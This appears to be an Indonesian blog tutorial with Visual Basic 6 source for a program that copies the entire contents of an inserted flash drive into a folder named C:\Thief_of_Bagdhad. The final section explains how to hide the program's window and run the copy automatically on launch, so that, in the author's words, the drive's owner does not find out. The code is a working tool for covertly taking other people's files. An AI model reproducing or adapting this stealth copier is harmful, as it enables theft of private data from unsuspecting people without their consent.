Membuat Aplikasi Mengcopy isi FlashDisk

Tutorial kali ini akan saya bahas bagaimana cara membuat aplikasi untuk mengcopy seisi FlashDisk ke komputer kalian, sebenernya ini ga bagus sih.Tapi untuk sekedar pengetahuan kalian dan untuk digunakan sebaik-baiknya ajah yaa...
Untuk lebih jelasnya silahkan ikuti step-step berikut ini.

1. Buatlah Module di VB yang nanti fungsinya untuk membaca File berekstensi .ini

Declare Function _
GetPrivateProfileString _
Lib "kernel32.dll" _
Alias "GetPrivateProfileStringA" _
( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As Any, _
ByVal lpDefault As String, _
ByVal lpReturnedString As String, _
ByVal nSize As Long, _
ByVal lpFileName As String _
) _
As Long
'
Declare Function _
WritePrivateProfileString _
Lib "kernel32.dll" _
Alias "WritePrivateProfileStringA" _
( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As String, _
ByVal lpString As String, _
ByVal lpFileName As String _
) _
As Long
Public mySize As String * 255
Public myNilai As String
Public NilaiAkhir As String
Function AmbilSimpan( _
xHeader As String, _
xKunci As String, myFile$) As Variant
'
myNilai = _
GetPrivateProfileString(xHeader, _
xKunci, "", mySize, 500, myFile)
NilaiAkhir = Left(mySize, myNilai)
End Function
Function BacaSimpan(xHeader As String, _
xKunci As String, myFile$) As String
AmbilSimpan xHeader, xKunci, myFile$
BacaSimpan = NilaiAkhir
End Function
Function TulisSimpan( _
xHeader As String, _
xKunci As String, _
nSimpan As String, myFile$)
Dim XWRITE$
'
XWRITE = _
WritePrivateProfileString( _
xHeader, _
xKunci, _
nSimpan, myFile)
End Function

3 buah ListBox dengan nama : LstFolder, LstFile dan LstFolderCopy

1 buah Timer

1 Command Button

Option Explicit
Private Declare Function GetFileAttributes Lib _
"kernel32" Alias "GetFileAttributesA" ( _
ByVal lpFileName As String) As Long
Private Declare Function CreateDirectory Lib "kernel32" Alias _
"CreateDirectoryA" (ByVal lpPathName As String, _
lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Private Declare Function CopyFile Lib "kernel32" _
Alias "CopyFileA" (ByVal lpExistingFileName As String, _
ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Const ARRAY_INITIAL = 10000
Private Const ARRAY_INCREMENT = 10000
Dim Berhenti As Boolean
Dim Berhenti2 As Boolean
Dim aryDrive(20) As String
Dim NamaFolder As String
Sub FindFolder(BeginPath As String)
On Error Resume Next
Dim i As Long
Dim j As Long
Dim idx As Integer
Dim limit As Integer
Dim lAttr As Long
Dim srchstr$
Dim sFileName As String
Dim sfoldername As String
Dim strFolderName As String
Dim strFileName As String
Dim myParentFolder As String
Dim myFolderPath As String
Dim myFolderName As String
ReDim arrFiles(ARRAY_INITIAL)
On Error GoTo errHandle
idx = 0
If Right(BeginPath, 1) = "\" Then
BeginPath = Mid(BeginPath, 1, Len(BeginPath) - 1)
End If
BeginPath = BeginPath & "\"
arrFiles(0) = BeginPath
limit = 1
Me.lstFolder.Clear
Me.lstFile.Clear
Do While idx < limit And Berhenti = False
DoEvents
sfoldername = arrFiles(idx)
sFileName = Dir(sfoldername & srchstr, _
vbDirectory Or vbHidden Or _
vbReadOnly Or vbSystem Or vbArchive)
Do While sFileName <> "" And Berhenti2 = False
strFileName = sfoldername & sFileName
lAttr = GetFileAttributes(strFileName)
If (lAttr >= 16 And lAttr <= 23) Or _
(lAttr >= 48 And lAttr <= 55) Then
If sFileName <> "." And sFileName <> ".." Then
arrFiles(limit) = strFileName & "\"
limit = limit + 1
strFolderName = sFileName
Me.lstFolder.AddItem strFileName
Me.lstFolderCopy.AddItem NamaFolder & Mid(strFileName, 3)
DoEvents
'
End If
ElseIf Not (lAttr >= 16 And lAttr <= 23) Or _
(lAttr >= 48 And lAttr <= 55) Then
Me.lstFile.AddItem strFileName
Me.lstFileCopy.AddItem NamaFolder & Mid(strFileName, 3)
End If
sFileName = Dir
Loop
idx = idx + 1
DoEvents
Loop
ReDim Preserve arrFiles(limit - 1)
Exit Sub
errHandle:
If Err.Number = 9 Then
ReDim Preserve arrFiles(UBound(arrFiles) + _
ARRAY_INCREMENT)
Resume
Else
'Err.Raise Err.Number
End If
End Sub
Sub DoitNow(strDrives As String)
On Error Resume Next
NamaFolder = "C:\Thief_of_Bagdhad\" & Format(Now, "ddmmyy-hhmmss")
If FolderAda(NamaFolder) = False Then
MkDir NamaFolder
End If
Me.lstFile.Clear
Me.lstFolder.Clear
Me.lstFileCopy.Clear
Me.lstFolderCopy.Clear
FindFolder strDrives
CreateFolderCopy
End Sub
Sub CreateFolderCopy()
On Error Resume Next
Dim i As Long
Dim n As SECURITY_ATTRIBUTES
Dim l As Long
Dim Nilai As Long
If Me.lstFolderCopy.ListCount = 0 Then Exit Sub
l = 0
For i = 0 To Me.lstFolderCopy.ListCount - 1
CreateDirectory Me.lstFolderCopy.List(i), n
l = l + 1
'Me.picBar.Cls
Nilai = Fix((l / Me.lstFileCopy.ListCount) * 100)
'Me.picBar.Line (0, 0)-Step(Nilai, 1), vbWhite, BF
DoEvents
Next
l = 0
For i = 0 To Me.lstFileCopy.ListCount - 1
l = l + 1
'Me.picBar.Cls
CopyFile Me.lstFile.List(i), Me.lstFileCopy.List(i), 1
Nilai = Fix((l / Me.lstFileCopy.ListCount) * 100)
'Me.picBar.Line (0, 0)-Step(Nilai, 1), vbWhite, BF
DoEvents
Next
'Me.picBar.Cls
End Sub
Private Sub Command1_Click()
Me.BacaDrive
End
End Sub
Private Sub Form_Load()
If FolderAda("C:\Thief_of_Bagdhad") = False Then
MkDir "C:\Thief_of_Bagdhad"
End If
End Sub
Function FolderAda(NamaFolder$) As Boolean
On Error Resume Next
Dim FSO As Object, myFile
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FolderExists(NamaFolder$) = True Then
FolderAda = True
End If
Set FSO = Nothing
End Function
Function FileAda(NamaFile$) As Boolean
On Error Resume Next
Dim FSO As Object, myFile
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FileExists(NamaFile$) = True Then
FileAda = True
End If
Set FSO = Nothing
End Function
Sub BacaDrive()
Dim strMyDrive As String
Dim Pisah() As String
Dim i As Integer
Dim s As String
strMyDrive = BacaSimpan("LOKASIFD", "DRIVE", App.Path & "\Conf.ini")
Pisah = Split(strMyDrive, ";")
For i = LBound(Pisah) To UBound(Pisah)
s = Pisah(i)
DoitNow Left(s, 1) & ":\"
Beep
DoEvents
Next
End Sub

isi lokasi drive lokasi flasdisk berada

jangan lupa, simpan ditempat yang sama dengen programnya

4. Oke, sudah selesai sampai disini...

Coba kalian run programnya

Percobaan dengan cara :

A. Tes Masukan Flash Disk misalnya ada di drive E:

B. Jalanin Program : klik tombol copy ...

C. otomatis semua isi flash disk di copy ke folder C:\Thief_of_Bagdhad\

wah kalau begini masih ketahuan ama yang punya FlashDisk,gimana biar ga ketahuan???

Caranya cukup mudah, kalian tambahkan lagi Listing pada event Form_Load

Me.hide
Me.BacaDrive
End

jalankan program ...

dan program tidak akan keliatan...

Membuat Aplikasi Mengcopy isi FlashDisk

0 Reply :

Posting Komentar